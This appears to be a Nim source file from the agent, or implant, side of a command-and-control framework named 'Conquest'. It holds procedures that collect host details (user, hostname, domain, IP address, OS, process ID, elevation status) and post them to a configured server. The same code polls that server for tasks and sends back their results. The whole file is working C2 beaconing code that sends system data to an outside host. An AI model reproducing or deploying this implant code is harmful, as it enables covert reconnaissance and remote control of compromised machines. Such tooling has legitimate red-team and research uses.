71 lines
2.1 KiB
Nim
71 lines
2.1 KiB
Nim
import httpclient, json, strformat, asyncdispatch
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import ./[types, agentinfo]
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proc register*(config: AgentConfig): string =
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let client = newAsyncHttpClient()
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# Define headers
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client.headers = newHttpHeaders({ "Content-Type": "application/json" })
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# Create registration payload
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let body = %*{
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"username": getUsername(),
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"hostname":getHostname(),
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"domain": getDomain(),
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"ip": getIPv4Address(),
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"os": getOSVersion(),
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"process": getProcessExe(),
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"pid": getProcessId(),
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"elevated": isElevated()
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}
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echo $body
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try:
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# Register agent to the Conquest server
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return waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/register", $body)
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except CatchableError as err:
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echo "[-] [register]:", err.msg
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quit(0)
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finally:
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client.close()
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proc getTasks*(config: AgentConfig, agent: string): seq[Task] =
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let client = newAsyncHttpClient()
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try:
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# Register agent to the Conquest server
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let responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
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return parseJson(responseBody).to(seq[Task])
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except CatchableError as err:
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# When the listener is not reachable, don't kill the application, but check in at the next time
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echo "[-] [getTasks]:", err.msg
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finally:
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client.close()
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return @[]
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proc postResults*(config: AgentConfig, agent: string, task: Task): bool =
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let client = newAsyncHttpClient()
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# Define headers
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client.headers = newHttpHeaders({ "Content-Type": "application/json" })
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let taskJson = %task
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echo $taskJson
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try:
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# Register agent to the Conquest server
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discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{task.id}/results", $taskJson)
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except CatchableError as err:
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# When the listener is not reachable, don't kill the application, but check in at the next time
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echo "[-] [postResults]: ", err.msg
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finally:
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client.close()
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return true |